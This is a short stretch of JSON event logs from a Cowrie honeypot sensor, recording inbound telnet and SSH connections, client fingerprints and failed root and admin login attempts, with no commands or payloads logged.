{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54516,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e85e99ee828","protocol":"telnet","message":"New connection: 192.119.13.58:54516 (10.17.0.5:23) [session: 2e85e99ee828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:25.989117Z"}
{"eventid":"cowrie.session.closed","duration":43.016233682632446,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:30.677476Z","src_ip":"192.119.13.58","session":"4f10ef06afcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":63918,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4dfefc807a","protocol":"ssh","message":"New connection: 103.176.90.41:63918 (10.17.0.5:22) [session: cb4dfefc807a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:31.687727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:31.696460Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:31.784072Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:7f:2a:a5:d1:38:cc:ab:6d:a7:7e:79:43:48:db:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyxkHlTJ4gAx8byAbiBVIVN/AiP+lujYPBnrIwzJkf4HHZq3yL1oBoNClLzM0uCsHXRvIW/C8jX4E6PHLimQe/MsfzMXVfa7mZOS8KwUIxclhlVlSp/M6MBadMGTWo0C84fnX+kTUsIQaFWzkFBMVD0is2uRf2TIi8PZhP9k9RqWhEvtbLUTIezH5LSEn/UTLWCPYglkPfQxn6k51MX8XRPvvRDYGY2RLBA9NGN9Ya+1Oq9YES/ITevkdUak6j+f39jx6HzlGFKEOyoB00WoKePIUQ8U1dNty0XSFGbaE9Or/dQWVdnkMyMNPLx+qHu8H9tGkv3IOMoPbh5dkBzpEL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:7f:2a:a5:d1:38:cc:ab:6d:a7:7e:79:43:48:db:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.184203Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:7f:2a:a5:d1:38:cc:ab:6d:a7:7e:79:43:48:db:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyxkHlTJ4gAx8byAbiBVIVN/AiP+lujYPBnrIwzJkf4HHZq3yL1oBoNClLzM0uCsHXRvIW/C8jX4E6PHLimQe/MsfzMXVfa7mZOS8KwUIxclhlVlSp/M6MBadMGTWo0C84fnX+kTUsIQaFWzkFBMVD0is2uRf2TIi8PZhP9k9RqWhEvtbLUTIezH5LSEn/UTLWCPYglkPfQxn6k51MX8XRPvvRDYGY2RLBA9NGN9Ya+1Oq9YES/ITevkdUak6j+f39jx6HzlGFKEOyoB00WoKePIUQ8U1dNty0XSFGbaE9Or/dQWVdnkMyMNPLx+qHu8H9tGkv3IOMoPbh5dkBzpEL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.188428Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:a4:2c:10:2f:98:3c:5a:61:71:35:97:76:f2:51:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmCkEOi6qqet2CipKrf9luDdeBwaW6TMUB0aCTQwRFy/oft379/S3lxobdC7HxpEMzbNLg641gMH+xzERoWpGsU6oQxxgx6+EbYfnV5dy3h/7P/MXS/b7F2Wz07m2ACo6EtPXCglZl8SewPqqoqwtU2JFzEu7R+CbAfR3kf1IXSgWZJLwDg2zq9O7KP85qj+ipDeMOGyVqoMpxH5ac9f8IN+eJxuUJDa2TF+NCMN1wtzVjp2vdb7kaRqHIfQC7bthFntho1w6SDTWrs4y2jLV6BanxQZTyGu3dWSJmRdsOgjvHWCE5g0xVeVFkZWli5phGE3sQAu7H/Pwf9JRdj2oQhezQCm+ktol5BEJIUkyl6Pdq/Nj0s/TGG38CuLAHn20QqENnZPKgyozjrymsqsZkPvNLM+rkfscqd/dmGI/UIQdKeP95HKac+J9StpCoaTg/zcFgYqYj+XxLbtfpPNwTNHPQYqsPsShRVomQsOuK9HhYV7gamAmRaA1NHKEscUE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:a4:2c:10:2f:98:3c:5a:61:71:35:97:76:f2:51:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.274833Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:a4:2c:10:2f:98:3c:5a:61:71:35:97:76:f2:51:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmCkEOi6qqet2CipKrf9luDdeBwaW6TMUB0aCTQwRFy/oft379/S3lxobdC7HxpEMzbNLg641gMH+xzERoWpGsU6oQxxgx6+EbYfnV5dy3h/7P/MXS/b7F2Wz07m2ACo6EtPXCglZl8SewPqqoqwtU2JFzEu7R+CbAfR3kf1IXSgWZJLwDg2zq9O7KP85qj+ipDeMOGyVqoMpxH5ac9f8IN+eJxuUJDa2TF+NCMN1wtzVjp2vdb7kaRqHIfQC7bthFntho1w6SDTWrs4y2jLV6BanxQZTyGu3dWSJmRdsOgjvHWCE5g0xVeVFkZWli5phGE3sQAu7H/Pwf9JRdj2oQhezQCm+ktol5BEJIUkyl6Pdq/Nj0s/TGG38CuLAHn20QqENnZPKgyozjrymsqsZkPvNLM+rkfscqd/dmGI/UIQdKeP95HKac+J9StpCoaTg/zcFgYqYj+XxLbtfpPNwTNHPQYqsPsShRVomQsOuK9HhYV7gamAmRaA1NHKEscUE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.278443Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:f2:04:4a:15:ea:69:8b:5d:6f:72:70:bb:ac:1a:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1tBfBNvpmuN8PlYCP7aztsAEeJksilgoqbVRADEr5RvmSCDQ4LckitZJhR3MJiD3MN5kTWBgo1GybHx87vpXHwK1CTsK4ZPl1IPWuNS6KDIy9q0YjboT25wAdHCNs3iIfmL0NmZRGXXGUCFSOFoBeD0TznonlHpPVdirZ7ShBWw+nsWShvsnSShb7r6065xBaONnZK1mHUPT/TnY8uXLeNRV9bvmMICGUQlT7GNrOGSp3RIDNWW7VSmB8rB9ya5qwB8mV7KseANEMpRYJxti9e5r5RZfTCL6JdpBKyPtd8r84KRwx7SYY2YM0mx8LBXZ6bNdYd/6rxXsln7Na3mhIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:f2:04:4a:15:ea:69:8b:5d:6f:72:70:bb:ac:1a:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.363285Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:f2:04:4a:15:ea:69:8b:5d:6f:72:70:bb:ac:1a:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1tBfBNvpmuN8PlYCP7aztsAEeJksilgoqbVRADEr5RvmSCDQ4LckitZJhR3MJiD3MN5kTWBgo1GybHx87vpXHwK1CTsK4ZPl1IPWuNS6KDIy9q0YjboT25wAdHCNs3iIfmL0NmZRGXXGUCFSOFoBeD0TznonlHpPVdirZ7ShBWw+nsWShvsnSShb7r6065xBaONnZK1mHUPT/TnY8uXLeNRV9bvmMICGUQlT7GNrOGSp3RIDNWW7VSmB8rB9ya5qwB8mV7KseANEMpRYJxti9e5r5RZfTCL6JdpBKyPtd8r84KRwx7SYY2YM0mx8LBXZ6bNdYd/6rxXsln7Na3mhIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.366582Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:36:58:67:e3:e2:6a:52:df:2a:ea:82:40:7c:5f:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4VZqRQQeHfaiZNq+EoehBWxGWUTUMXGTfbcbr8NmE5EZbppvjxVYNwyJuJ/l/E11XBAs3cMeN6iG7EBStoZ0Wc9R5o+91bwMz78LYYlMroufU5lWcAgnL3qeKIIy5gD4l0i3Hp+40QHlQb/5hWBFCZbNBPxQ2Yfcb6xY9/cXyQitxZFRXZLKF3xpd0bGvsOBIh+UfI1FxafC7+nk3ESO5BJ3aAe6VHDJvDpJj0IQCpgOWp7Bpx9iIzdxHD4q7P1GrJt33TOENyrKUX35aRpOblj73DTyMrRWjF4etAerpm32PefGz1chl22RAQw5JmgalRMiaQd7GKBGVAxiyAXq3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:36:58:67:e3:e2:6a:52:df:2a:ea:82:40:7c:5f:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.455013Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:36:58:67:e3:e2:6a:52:df:2a:ea:82:40:7c:5f:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4VZqRQQeHfaiZNq+EoehBWxGWUTUMXGTfbcbr8NmE5EZbppvjxVYNwyJuJ/l/E11XBAs3cMeN6iG7EBStoZ0Wc9R5o+91bwMz78LYYlMroufU5lWcAgnL3qeKIIy5gD4l0i3Hp+40QHlQb/5hWBFCZbNBPxQ2Yfcb6xY9/cXyQitxZFRXZLKF3xpd0bGvsOBIh+UfI1FxafC7+nk3ESO5BJ3aAe6VHDJvDpJj0IQCpgOWp7Bpx9iIzdxHD4q7P1GrJt33TOENyrKUX35aRpOblj73DTyMrRWjF4etAerpm32PefGz1chl22RAQw5JmgalRMiaQd7GKBGVAxiyAXq3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.458800Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:c1:d1:50:b8:e5:2c:86:b9:03:f7:b1:40:f7:b2:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7PMF+ElU9Wpf1y9uWqWZXGim/1VjZtKENWVMne8MZCaE+WvwP36zNeAPnAQvqHbgdAINGmatOO0hvzYkbhbQU4v6S2Kw0Bk+wF4yxSg/qxmVkIEKlXcNSkflzriV1aH+15Q/FIxtObyR55Uxfi+VdcWRbgp6qH6mrXUzPEDQSCzmPmBN0aQH+FkHZidf4LdTwtsQ4RT9AhCQTsY52rZBzutsk91s2X5bevZxHxSoIW+QkynQaKOs2JIw1IOTCVlx9zUv6ZITVmwZrm10XafylVvVCeN9D7gqjfbZ1g7f541HL0eJFd5LYF76CJYUSmobKCoIaXDQgXdwBtTa0h4ZN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:c1:d1:50:b8:e5:2c:86:b9:03:f7:b1:40:f7:b2:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.543645Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:c1:d1:50:b8:e5:2c:86:b9:03:f7:b1:40:f7:b2:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7PMF+ElU9Wpf1y9uWqWZXGim/1VjZtKENWVMne8MZCaE+WvwP36zNeAPnAQvqHbgdAINGmatOO0hvzYkbhbQU4v6S2Kw0Bk+wF4yxSg/qxmVkIEKlXcNSkflzriV1aH+15Q/FIxtObyR55Uxfi+VdcWRbgp6qH6mrXUzPEDQSCzmPmBN0aQH+FkHZidf4LdTwtsQ4RT9AhCQTsY52rZBzutsk91s2X5bevZxHxSoIW+QkynQaKOs2JIw1IOTCVlx9zUv6ZITVmwZrm10XafylVvVCeN9D7gqjfbZ1g7f541HL0eJFd5LYF76CJYUSmobKCoIaXDQgXdwBtTa0h4ZN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.547829Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:32.631912Z","src_ip":"103.176.90.41","session":"cb4dfefc807a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43184,"dst_ip":"10.17.0.5","dst_port":23,"session":"b577cf6d87e3","protocol":"telnet","message":"New connection: 192.119.13.58:43184 (10.17.0.5:23) [session: b577cf6d87e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:36.575572Z"}
{"eventid":"cowrie.session.closed","duration":41.685163497924805,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:41.737281Z","src_ip":"192.119.13.58","session":"97fd4c63b511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.6820707321167,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:41.741667Z","src_ip":"192.119.13.58","session":"4c4ebfaf935b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58632,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f212943d56","protocol":"telnet","message":"New connection: 192.119.13.58:58632 (10.17.0.5:23) [session: 65f212943d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:47.116328Z"}
{"eventid":"cowrie.session.closed","duration":44.2417266368866,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:47.524377Z","src_ip":"192.119.13.58","session":"a236dbb88485","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33482,"dst_ip":"10.17.0.5","dst_port":23,"session":"13276701a851","protocol":"telnet","message":"New connection: 192.119.13.58:33482 (10.17.0.5:23) [session: 13276701a851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:48.403889Z"}
{"eventid":"cowrie.session.closed","duration":40.34074139595032,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:49.556607Z","src_ip":"192.119.13.58","session":"2ea6a56b4032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.89138054847717,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:50.186864Z","src_ip":"192.119.13.58","session":"3129c25c65ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41190,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a712cb4c42","protocol":"telnet","message":"New connection: 192.119.13.58:41190 (10.17.0.5:23) [session: 48a712cb4c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:51.299735Z"}
{"eventid":"cowrie.session.closed","duration":49.39166307449341,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:51.748668Z","src_ip":"192.119.13.58","session":"4aa136e915a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.616220474243164,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:53.178530Z","src_ip":"192.119.13.58","session":"42e15c5ceedd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6f9697237c1","protocol":"telnet","message":"New connection: 192.119.13.58:56710 (10.17.0.5:23) [session: b6f9697237c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:57.377460Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57068,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ebfb8b8a2ed","protocol":"telnet","message":"New connection: 192.119.13.58:57068 (10.17.0.5:23) [session: 2ebfb8b8a2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:57.554482Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":10174,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bea52f5d0ad","protocol":"ssh","message":"New connection: 2.57.121.112:10174 (159.203.135.109:22) [session: 3bea52f5d0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:58.452935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:58.458757Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:58.558618Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2908","message":"login attempt [admin/2908] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:59.061133Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36500,"dst_ip":"10.17.0.5","dst_port":23,"session":"60330d8263ed","protocol":"telnet","message":"New connection: 192.119.13.58:36500 (10.17.0.5:23) [session: 60330d8263ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:45:59.810477Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290686","message":"login attempt [admin/290686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:00.168004Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37356,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e07e2a83f27","protocol":"telnet","message":"New connection: 192.119.13.58:37356 (10.17.0.5:23) [session: 1e07e2a83f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:00.197044Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29061997","message":"login attempt [admin/29061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:01.273160Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.18279981613159,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:01.477874Z","src_ip":"192.119.13.58","session":"3e852275d1c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.69011902809143,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:01.588951Z","src_ip":"192.119.13.58","session":"ff99d97adf8f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290582","message":"login attempt [admin/290582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:02.378991Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.62459373474121,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:02.613573Z","src_ip":"192.119.13.58","session":"2e85e99ee828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47974,"dst_ip":"10.17.0.5","dst_port":23,"session":"c34edb8359c3","protocol":"telnet","message":"New connection: 192.119.13.58:47974 (10.17.0.5:23) [session: c34edb8359c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:02.699858Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29041969","message":"login attempt [admin/29041969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:03.489134Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:04.596048Z","src_ip":"2.57.121.112","session":"3bea52f5d0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55598,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f64fc16255b","protocol":"telnet","message":"New connection: 192.119.13.58:55598 (10.17.0.5:23) [session: 9f64fc16255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:16.905903Z"}
{"eventid":"cowrie.session.closed","duration":32.14498543739319,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:19.261152Z","src_ip":"192.119.13.58","session":"65f212943d56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.87","src_port":28000,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7f9167dc3e8","protocol":"ssh","message":"New connection: 102.129.186.87:28000 (10.17.0.5:22) [session: a7f9167dc3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:46:23.087813Z"}
